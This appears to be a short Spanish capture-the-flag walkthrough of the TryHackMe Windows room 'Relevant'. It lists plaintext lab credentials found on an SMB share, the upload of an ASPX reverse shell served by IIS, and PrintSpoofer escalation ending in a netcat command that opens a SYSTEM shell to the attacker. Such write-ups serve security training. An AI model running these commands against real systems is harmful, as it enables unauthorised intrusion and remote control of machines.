TryHackMe Medium Windows SMB ASPX IIS PrintSpoofer SeImpersonatePrivilege

Relevant

Share SMB con credenciales en texto plano; shell ASPX subida a SMB servida por IIS; PrintSpoofer a SYSTEM.

cat4clysm
Herramientas utilizadas
nmap smbclient netcat impacket

Scanning

root@kali:~$
nmap -sC -sV -p 80,135,445,139,3389 -n 10.10.56.135 -oN targeted
nmap scan

SMB - Lectura de credenciales

root@kali:~$
smbclient -L 10.10.56.135 -N
smbclient -N //10.10.56.135/nt4wrksv
smb list smb content
Bill: Juw4nnaM4n420696969!$$$
Bob: !P@$$W0rD!123

Explotacion - ASPX Shell via SMB

root@kali:~$
wget https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx
smbclient //10.10.106.15/nt4wrksv -U 'Bill%Juw4nnaM4n420696969!$$$'
put shell.aspx
nc -lvp 4444

Accedemos a http://10.10.106.15:49663/nt4wrksv/shell.aspx

type C:\Users\Bob\Desktop\user.txt

Escalada - PrintSpoofer

root@kali:~$
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
sudo impacket-smbserver a .
cd C:\Windows\Temp
copy \\10.2.36.179\a\nc.exe .
copy \\10.2.36.179\a\PrintSpoofer64.exe .
PrintSpoofer64.exe -c "nc.exe 10.2.36.179 5555 -e cmd"
printspoofer system

Lecciones aprendidas